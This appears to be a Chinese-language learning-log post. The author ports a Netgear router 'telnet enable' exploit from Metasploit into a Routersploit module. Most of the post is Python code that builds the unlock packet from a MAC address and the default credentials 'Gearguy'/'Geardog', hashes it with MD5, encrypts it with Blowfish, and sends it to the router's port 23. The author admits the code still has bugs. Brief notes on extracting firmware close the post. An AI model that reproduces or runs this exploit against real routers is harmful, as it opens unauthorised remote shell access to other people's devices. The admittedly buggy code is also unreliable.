# PoC on Routersploit 要自己import一個poc,所以我就上一下metasploit trace了一下code,然後希望可以把本來寫在metasploit的東西寫在routersploit的架構上。 先來看一下我參考之後寫的code: ```python= from routersploit.core.exploit import * from routersploit.core.http.http_client import HTTPClient import sys import socket import array from optparse import OptionParser from Crypto.Cipher import Blowfish from Crypto.Hash import MD5 TELNET_PORT = 23 class Exploit(HTTPClient): __info__ = { "name": "test", "description": "test test", "authors": "Aihcer", "devices": "Netgear系列", } ip = OptIP("", "Target IPv4 or IPv6 address") port = OptPort(23, "Target HTTP port") username = OptString("Gearguy", "Username to login") password = OptString("Geardog", "Password to login") def run(self): print("run") mac = "00:40:5E:21:14:4E" # eventually reformat mac mac = mac.replace(":","").upper() # Pad the input correctly assert(len(mac) < 0x10) just_mac = mac.ljust(0x10, "\x00") assert(len(username) <= 0x10) just_username = username.ljust(0x10, "\x00") assert(len(password) <= 0x21) just_password = password.ljust(0x21, "\x00") cleartext = (just_mac + just_username + just_password).ljust(0x70, '\x00') md5_key = MD5.new(cleartext).digest() data = (md5_key + cleartext).ljust(0x80, "\x00") a = array.array('i') if(a.itemsize < 4): a = array.array('L') if(a.itemsize != 4): print ("Need a type that is 4 bytes on your platform so we can fix the data!") exit(1) a.fromstring(data) a.byteswap() payload = a.toString() secret_key = "AMBIT_TELNET_ENABLE+" + password #return ByteSwap(Blowfish.new(secret_key, 1).encrypt(payload)) data2 = Blowfish.new(secret_key, 1).encrypt(payload) b = array.array('i') if(b.itemsize < 4): b = array.array('L') if(b.itemsize != 4): print ("Need a type that is 4 bytes on your platform so we can fix the data!") exit(1) b.fromstring(data2) b.byteswap() payload = b.toString() #SendPayload(ip, payload) for res in socket.getaddrinfo(ip, TELNET_PORT, socket.AF_INET, socket.SOCK_DGRAM,socket.IPPROTO_IP): af, socktype, proto, canonname, sa = res try: s = socket.socket(af, socktype, proto) except socket.error as msg: s = None continue try: s.connect(sa) except socket.error as msg: s.close() s= None continue break if s is None: print ("Could not connect to '%s:%d'" % (ip, TELNET_PORT)) else: s.send(payload) s.close() print ("Sent telnet enable payload to '%s:%d'" % (ip, TELNET_PORT)) def execute(self, cmd): print("execute") ``` 基本上還有一些bug,但是大致上是這樣,我再把他們修一下,應該就可以run起來了,然後其中有一些routersploit這個framewolk提供的功能我還沒有搞懂他們之間的api是怎麼用,接下來這個禮拜想要再追追看。 然後也可以提一下,netgear的firmware我有一點搞不定,他們給的chk檔好像是更新檔,所以不是一整個完整的firmware,這樣的話在extract的時候就沒有辦法拿到所有想要的東西。